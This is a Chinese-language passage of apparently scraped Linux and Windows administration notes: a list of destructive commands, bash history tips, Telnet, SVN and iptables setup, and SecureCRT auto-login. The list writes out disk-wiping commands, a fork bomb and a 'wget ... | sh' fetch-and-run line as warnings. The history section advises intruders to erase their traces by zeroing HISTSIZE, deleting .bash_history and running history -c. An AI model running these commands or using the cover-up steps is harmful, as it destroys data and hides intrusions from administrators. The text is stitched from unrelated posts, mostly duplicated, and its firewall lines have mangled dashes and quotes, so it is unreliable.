这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
3.mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
4.:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
5.any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
6.wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
7.mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。
来源:http://linuxtoy.org/archives/the-7-deadly-linux-commands.html
零、linux下用ctrl+r快速搜索history命令:
(1)ctrl + r输入后多按几次。
(2)!?a.php?:p
(3)命令少或就近的情况下还是直接按键盘上面的[上]键更有效率。
linux命令行的history是一个熟知但不常用的命令,原因是要查某个命令的编号需要输入 history|grep xxx ,又因为!?xxx,!xxx 属于运行即执行也不方便,ctrl+r则方便多了。
ctrl+r
用途:反向搜索执行过的命令。(reverse-i-search)
1、ctrl+r
2、fo
3、ctrl+r (继续反向搜索)
只需要寥寥几键。当然若仅是上几个命令还是[上]键更有效率。
一、
问:linux 同一用户利用securecrt登陆两次, 各自执行一些命令后,再执行history看到的 结果不一样,是为什么?
答:确定存在这个问题,是ssh的复用,只有通过在一个终端里使用history -w后,另一个终端才会看得到哈,或关闭terminal后会写入,这里有一个buffer,实践也证明是这样的。
要想看只有通过,如:root, /root/.bash_history,root用户登录可以再/root/目录下ls -a 可以看到有.bash_history文件 tail .bash_history 也可以看到你执行过的命令 你执行一些命令后linux会向.bash_history写 入你执行过的命令。
除非你限定同一id不能同时登录:限制同一ID不能两人同时登录
1、限制同一ID不能两人同时登录
2、防止终端用户两人同时用同一ID登录
1、限制同一ID不能两人同时登录
echo "* hard max logins 2 " >> /etc/security/limits.conf
2、防止终端用户两人同时用同一ID登录
echo "session required pam_limits.so" >>/etc/pam.d/login
来自:http://www.sudu.cn/info/html/edu/linux/20080407/265620.html
入侵时目标如果是linux服务器,看切忌清理痕迹的时候别忘记history命令的记录哦
1、修改/etc/profile将HISTSIZE=1000改成0或1
清除用户home路径下。bash_history
2、立即清空里的history当前历史命令的记录
history -c
3、bash执行命令时不是马上把命令名称写入history文件的,而是存放在内部的buffer中,等bash退出时会一并写入。
不过,可以调用'history -w'命令要求bash立即更新history文件。
history -w
二、相关命令:
(1)共计最大保存history的条目数:
[root@test ~]# echo $HISTSIZE
1000
(2)查看history存的最大值,最旧,写入:
[root@localhost ~]# history |head
[root@localhost ~]# history |head
4 cd ..
5 ll
6 cd ..
(3)把history立即写入root:/root/.bash_history
history -w
三、History(历史)命令用法 15 例
如果你经常使用 Linux 命令行,那么使用 history(历史)命令可以有效地提升你的效率。本文将通过实例的方式向你介绍 history 命令的 15 个用法。阅读全文
(1)ctrl + r输入后多按几次。
(2)!?a.php?:p
(3)命令少或就近的情况下还是直接按键盘上面的[上]键更有效率。
linux命令行的history是一个熟知但不常用的命令,原因是要查某个命令的编号需要输入 history|grep xxx ,又因为!?xxx,!xxx 属于运行即执行也不方便,ctrl+r则方便多了。
ctrl+r
用途:反向搜索执行过的命令。(reverse-i-search)
1、ctrl+r
2、fo
3、ctrl+r (继续反向搜索)
只需要寥寥几键。当然若仅是上几个命令还是[上]键更有效率。
一、
问:linux 同一用户利用securecrt登陆两次, 各自执行一些命令后,再执行history看到的 结果不一样,是为什么?
答:确定存在这个问题,是ssh的复用,只有通过在一个终端里使用history -w后,另一个终端才会看得到哈,或关闭terminal后会写入,这里有一个buffer,实践也证明是这样的。
要想看只有通过,如:root, /root/.bash_history,root用户登录可以再/root/目录下ls -a 可以看到有.bash_history文件 tail .bash_history 也可以看到你执行过的命令 你执行一些命令后linux会向.bash_history写 入你执行过的命令。
除非你限定同一id不能同时登录:限制同一ID不能两人同时登录
1、限制同一ID不能两人同时登录
2、防止终端用户两人同时用同一ID登录
1、限制同一ID不能两人同时登录
echo "* hard max logins 2 " >> /etc/security/limits.conf
2、防止终端用户两人同时用同一ID登录
echo "session required pam_limits.so" >>/etc/pam.d/login
来自:http://www.sudu.cn/info/html/edu/linux/20080407/265620.html
入侵时目标如果是linux服务器,看切忌清理痕迹的时候别忘记history命令的记录哦
1、修改/etc/profile将HISTSIZE=1000改成0或1
清除用户home路径下。bash_history
2、立即清空里的history当前历史命令的记录
history -c
3、bash执行命令时不是马上把命令名称写入history文件的,而是存放在内部的buffer中,等bash退出时会一并写入。
不过,可以调用'history -w'命令要求bash立即更新history文件。
history -w
二、相关命令:
(1)共计最大保存history的条目数:
[root@test ~]# echo $HISTSIZE
1000
(2)查看history存的最大值,最旧,写入:
[root@localhost ~]# history |head
[root@localhost ~]# history |head
4 cd ..
5 ll
6 cd ..
(3)把history立即写入root:/root/.bash_history
history -w
三、History(历史)命令用法 15 例
如果你经常使用 Linux 命令行,那么使用 history(历史)命令可以有效地提升你的效率。本文将通过实例的方式向你介绍 history 命令的 15 个用法。阅读全文
Telnet是系统管理员常用的远程登录和管理工具,在Windows 2000/XP/2003/Vista系统中它作为标准的系统组件集成到系统中供用户使用。不过默认情况下Telnet服务是被禁止,通常情况下我们只需运行services.msc打开服务管理,找到Telnet服务项设置其启动类型为“手动”或者“自动”,然后启动该服务即可使用了。不过在Windows 7中,你按照上述方法是不能找到并启用Telnet服务的。那如何找回Windows 7的Telnet功能呢?
1、隐藏原因
其实,在服务管理器中找不到Telnet并不是Windows 7抛弃了Telnet,而是默认状态下Windows 7并没有安装Telnet服务。这也是微软第一次从个人系统中将Telnet剔出了系统默认组件之外,这和Windows Server 2008类似。我想微软这么做,应该是出于安全性考虑,毕竟Telnet的数据是以明文传输的,攻击者和容易通过嗅探获取敏感信息。基于安全性考虑,建议大家还是使用安全性更高的、加密的SSH远程管理方式。
2、安装Telnet
不过,我们也没有必要因噎废食,作为个人用户Telnet还是非常方便的。在Windows 7下安装Telnet和Windows Server 2008略有不同,大家可以通过下面的操作方法实现。依次点击“开始”→“控制面板”→“程序”,“在程序和功能”找到并点击“打开或关闭Windows功能”进入Windows 功能设置对话框。找到并勾选“Telnet客户端”和“Telnet服务器”,最后“确定”稍等片刻即可完成安装。除此之外,我们也可通过该向导安装“TFTP客户端”、“Internet 信息服务”等
安装完成后,Telnet服务默认情况下是禁用的。还需执行“开始”→“运行”,输入servcies.msc打开服务管理器。找到并双击Telnet服务项,设置其启动方式为“手动”(更安全,只在需要的时候才启用),最后“启动”该服务“确定”退出即可
1、隐藏原因
其实,在服务管理器中找不到Telnet并不是Windows 7抛弃了Telnet,而是默认状态下Windows 7并没有安装Telnet服务。这也是微软第一次从个人系统中将Telnet剔出了系统默认组件之外,这和Windows Server 2008类似。我想微软这么做,应该是出于安全性考虑,毕竟Telnet的数据是以明文传输的,攻击者和容易通过嗅探获取敏感信息。基于安全性考虑,建议大家还是使用安全性更高的、加密的SSH远程管理方式。
2、安装Telnet
不过,我们也没有必要因噎废食,作为个人用户Telnet还是非常方便的。在Windows 7下安装Telnet和Windows Server 2008略有不同,大家可以通过下面的操作方法实现。依次点击“开始”→“控制面板”→“程序”,“在程序和功能”找到并点击“打开或关闭Windows功能”进入Windows 功能设置对话框。找到并勾选“Telnet客户端”和“Telnet服务器”,最后“确定”稍等片刻即可完成安装。除此之外,我们也可通过该向导安装“TFTP客户端”、“Internet 信息服务”等
安装完成后,Telnet服务默认情况下是禁用的。还需执行“开始”→“运行”,输入servcies.msc打开服务管理器。找到并双击Telnet服务项,设置其启动方式为“手动”(更安全,只在需要的时候才启用),最后“启动”该服务“确定”退出即可
完整配置教程网上多的是.这里只是记录一下心得.配置过的都看得懂
1)增加用户
由于htpasswd是apache的内置命令,所以先进入apache的命令目录
# cd /usr/local/apache/bin/
# htpasswd -cm /etc/svn/passwd xx
# htpasswd -m /etc/svn/passwd xx1
2)权限配置
小小配置,差别挺大的.
<Location /svn>
DAV svn
#SVNPath /svnroot/
SVNParentPath /svnroot/
AuthzSVNAccessFile /etc/svn/authz
AuthType Basic
AuthName "welcome to subversion"
AuthUserFile /etc/svn/passwd
Require valid-user
</Location>
在此情总下, SVNPath /svnroot/ 和 SVNParentPath /svnroot/ 是有区别的.
1. SVNPath /svnroot/svn1 在/etc/authz 的权限配置里面. 项目是用路径表示. 如: [/svn1] 表示根目录下面的 /svn1 目录的权限.
[/]
* = r
[/svn1]
* = r
xx = rw
2. SVNParentPath /svnroot/ 在/etc/authz 的权限配置里面. 项目是用路径表示. 如: [svnroot:svn1/] 表示svnroot项目下面的 /svn1目录 的权限.
svnroot 表示在当前库的conf/svnserve.conf 里配置的名称realm = svnroot
来源:http://blog.xoyo.com/php/article/92973.shtml
实际得参考:http://www.svn8.com/svnpz/20080310/271.html
1)增加用户
由于htpasswd是apache的内置命令,所以先进入apache的命令目录
# cd /usr/local/apache/bin/
# htpasswd -cm /etc/svn/passwd xx
# htpasswd -m /etc/svn/passwd xx1
2)权限配置
小小配置,差别挺大的.
<Location /svn>
DAV svn
#SVNPath /svnroot/
SVNParentPath /svnroot/
AuthzSVNAccessFile /etc/svn/authz
AuthType Basic
AuthName "welcome to subversion"
AuthUserFile /etc/svn/passwd
Require valid-user
</Location>
在此情总下, SVNPath /svnroot/ 和 SVNParentPath /svnroot/ 是有区别的.
1. SVNPath /svnroot/svn1 在/etc/authz 的权限配置里面. 项目是用路径表示. 如: [/svn1] 表示根目录下面的 /svn1 目录的权限.
[/]
* = r
[/svn1]
* = r
xx = rw
2. SVNParentPath /svnroot/ 在/etc/authz 的权限配置里面. 项目是用路径表示. 如: [svnroot:svn1/] 表示svnroot项目下面的 /svn1目录 的权限.
svnroot 表示在当前库的conf/svnserve.conf 里配置的名称realm = svnroot
来源:http://blog.xoyo.com/php/article/92973.shtml
实际得参考:http://www.svn8.com/svnpz/20080310/271.html
1.首先查看端口状态,可以使用命令
-># netstat -an (若查看某个端口,后面可接端口号)
2.检查服务状态使用chkconfig,如检查SSH,
-># chkconfig sshd
如为off,则需要打开系统服务的端口,可用chkconfig on命令,如打开SSH,
-># chkconfig ssh on service xinetd restart
3.防火墙开放端口:
(方法一:)
i. 进入 /etc/sysconfig/ 目录,用 vi 命令编辑 SuSEfirewall2 文件,
-># vi SuSEfirewall2
在文件中找到FW_SERVICES_EXT_TCP,在其后面加上服务名或者是服务对应的端口,如SSH,
FW_SERVICES_EXT_TCP=”ssh” 或 FW_SERVICES_EXT_TCP=”22″
保存之后退出。
ii. 重启防火墙,以使配置生效,
-># rcSuEfirewall2 restart
(方法二:)
i. 进入 /etc/sysconfig/ 目录, 查找 iptables 文件。若不存在,则新建一个名为iptables文件,
-># touch iptables
ii. 在iptables文件中添加如下,以便打开端口,如:
-A RH-Firewall-1-INPUT -p tcp -m state -m tcp –dport 22 –state NEW -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state -m tcp –dport 80 –state NEW -j ACCEPT
iii. 重起iptalbes服务:service iptables restart 或重启机器。
方法三:)
引自:http://hi.baidu.com/wzj423/blog/item/81e8d2f9525b995d242df23a.html 部分内容
创建/etc/init.d/firewall文件:
vi /etc/init.d/firewall
放到/etc/init.d下的原因是方便自动启动。
脚本如下:
#!/bin/bash
# This program is used to use start my iptables.
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:~/bin
export PATH
case “$1″ in
start)
echo -n “Staring FireWall …”
# /sbin/iptables -P INPUT DROP
/sbin/iptables -P OUTPUT ACCEPT
/sbin/iptables -A INPUT -i lo -j ACCEPT
/sbin/iptables -A INPUT -p tcp -m tcp –dport 22 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -m tcp –dport 80 -j ACCEPT
/sbin/iptables -A INPUT -p all -m state –state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A INPUT -p all -m state –state INVALID,NEW -j DROP
echo “OK”
;;
stop)
echo -n “Stop FireWall … ”
/sbin/iptables -F
/sbin/iptables -X
/sbin/iptables -Z
echo “OK”
;;
restart)
/etc/init.d/firewall stop
/etc/init.d/firewall start
echo “Restart FireWall OK”
;;
*)
echo “Usage: $0 {start|stop|restart}”
esac
exit 0
如果想新开端口,直接修改start部分即可。
测试firewall是否能正常工作:
/etc/init.d/firewall restart
没有问题。
配置firewall随系统自动启动:
cd /etc/init.d
update-rc.d firewall defaults 01
01表示启动优先级,让系统刚启动时就立即启动防火墙规则,可修改所有的K01为K99,在关机或重启服务器时最后停止防火墙服务。
-># netstat -an (若查看某个端口,后面可接端口号)
2.检查服务状态使用chkconfig,如检查SSH,
-># chkconfig sshd
如为off,则需要打开系统服务的端口,可用chkconfig on命令,如打开SSH,
-># chkconfig ssh on service xinetd restart
3.防火墙开放端口:
(方法一:)
i. 进入 /etc/sysconfig/ 目录,用 vi 命令编辑 SuSEfirewall2 文件,
-># vi SuSEfirewall2
在文件中找到FW_SERVICES_EXT_TCP,在其后面加上服务名或者是服务对应的端口,如SSH,
FW_SERVICES_EXT_TCP=”ssh” 或 FW_SERVICES_EXT_TCP=”22″
保存之后退出。
ii. 重启防火墙,以使配置生效,
-># rcSuEfirewall2 restart
(方法二:)
i. 进入 /etc/sysconfig/ 目录, 查找 iptables 文件。若不存在,则新建一个名为iptables文件,
-># touch iptables
ii. 在iptables文件中添加如下,以便打开端口,如:
-A RH-Firewall-1-INPUT -p tcp -m state -m tcp –dport 22 –state NEW -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m state -m tcp –dport 80 –state NEW -j ACCEPT
iii. 重起iptalbes服务:service iptables restart 或重启机器。
方法三:)
引自:http://hi.baidu.com/wzj423/blog/item/81e8d2f9525b995d242df23a.html 部分内容
创建/etc/init.d/firewall文件:
vi /etc/init.d/firewall
放到/etc/init.d下的原因是方便自动启动。
脚本如下:
#!/bin/bash
# This program is used to use start my iptables.
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:~/bin
export PATH
case “$1″ in
start)
echo -n “Staring FireWall …”
# /sbin/iptables -P INPUT DROP
/sbin/iptables -P OUTPUT ACCEPT
/sbin/iptables -A INPUT -i lo -j ACCEPT
/sbin/iptables -A INPUT -p tcp -m tcp –dport 22 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -m tcp –dport 80 -j ACCEPT
/sbin/iptables -A INPUT -p all -m state –state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A INPUT -p all -m state –state INVALID,NEW -j DROP
echo “OK”
;;
stop)
echo -n “Stop FireWall … ”
/sbin/iptables -F
/sbin/iptables -X
/sbin/iptables -Z
echo “OK”
;;
restart)
/etc/init.d/firewall stop
/etc/init.d/firewall start
echo “Restart FireWall OK”
;;
*)
echo “Usage: $0 {start|stop|restart}”
esac
exit 0
如果想新开端口,直接修改start部分即可。
测试firewall是否能正常工作:
/etc/init.d/firewall restart
没有问题。
配置firewall随系统自动启动:
cd /etc/init.d
update-rc.d firewall defaults 01
01表示启动优先级,让系统刚启动时就立即启动防火墙规则,可修改所有的K01为K99,在关机或重启服务器时最后停止防火墙服务。
可以啊。不过要注意端口不能用一个(默认为80,你的其中一个要换为其他端口)
据我所了解,你的选择方式有:
1、安装两套apache服务器,单独使用配置文件,网页(www)默认目录等。比如有个xampp,可以让你方便的安装使用 apache+perl+mysql。比如我这次的一个项目(作业)就是用xampp(不过学校机房是windows,所以我这个xampp是win下的)在学校机房给老师演示的。
2、安装一套apache服务器,其中一个用正常的方式运行,另外一个用配置文件(包含mysql服务配置,apache端口,默认目录配置,php配置等,)作为参数(具体方法看apache的使用说明或者Google一下)传入给apache程序。
这样就能运行两套apache了。
ps:个人意见,未实践,经过实践后有结果的话欢迎探讨。
据我所了解,你的选择方式有:
1、安装两套apache服务器,单独使用配置文件,网页(www)默认目录等。比如有个xampp,可以让你方便的安装使用 apache+perl+mysql。比如我这次的一个项目(作业)就是用xampp(不过学校机房是windows,所以我这个xampp是win下的)在学校机房给老师演示的。
2、安装一套apache服务器,其中一个用正常的方式运行,另外一个用配置文件(包含mysql服务配置,apache端口,默认目录配置,php配置等,)作为参数(具体方法看apache的使用说明或者Google一下)传入给apache程序。
这样就能运行两套apache了。
ps:个人意见,未实践,经过实践后有结果的话欢迎探讨。
Double-click 选项修改为 Close Tab:
双击复制并打开新session:
options -> global options -> Terminal -> Tabs 选择Double-click action的下拉框为Clone tab,这样就可以在已经打开的session标签中鼠标双击,打开一个完全一样的新session标签。
================================================================================================================
secureCRT6.5设置 自动登录 密码保存
1 telnet自动登录
a 点击connect in tab(alt+b)-->new session->按向导设置主机名,然后完成
b 选择刚才设置的主机,点击右键弹出菜单,选择properties按钮。
如图设置自动登录,在初始化发送中设置ogin和assword为你登录主机使用的用户名和密码,点击ok完成连接。
2 ssh2连接方式
a ssh2顾名思义,就是安全连接,但那个不是本文的关注点,本文只关注自动登录,O(∩_∩)O~
前面步骤跟telnet连接方式相同,都是alt+b,然后new session,如图,然后完成。
b 选择刚设置好的主机,鼠标右键,弹出菜单,选properties。
c 在弹出的对话框中选择ssh2设置,再选择authentication中的password选项,点选右边的properties,弹出左下角对话框,填入登录用户名,密码,ok完成。
阅读全文
双击复制并打开新session:
options -> global options -> Terminal -> Tabs 选择Double-click action的下拉框为Clone tab,这样就可以在已经打开的session标签中鼠标双击,打开一个完全一样的新session标签。
================================================================================================================
secureCRT6.5设置 自动登录 密码保存
1 telnet自动登录
a 点击connect in tab(alt+b)-->new session->按向导设置主机名,然后完成
b 选择刚才设置的主机,点击右键弹出菜单,选择properties按钮。
如图设置自动登录,在初始化发送中设置ogin和assword为你登录主机使用的用户名和密码,点击ok完成连接。
2 ssh2连接方式
a ssh2顾名思义,就是安全连接,但那个不是本文的关注点,本文只关注自动登录,O(∩_∩)O~
前面步骤跟telnet连接方式相同,都是alt+b,然后new session,如图,然后完成。
b 选择刚设置好的主机,鼠标右键,弹出菜单,选properties。
c 在弹出的对话框中选择ssh2设置,再选择authentication中的password选项,点选右边的properties,弹出左下角对话框,填入登录用户名,密码,ok完成。
阅读全文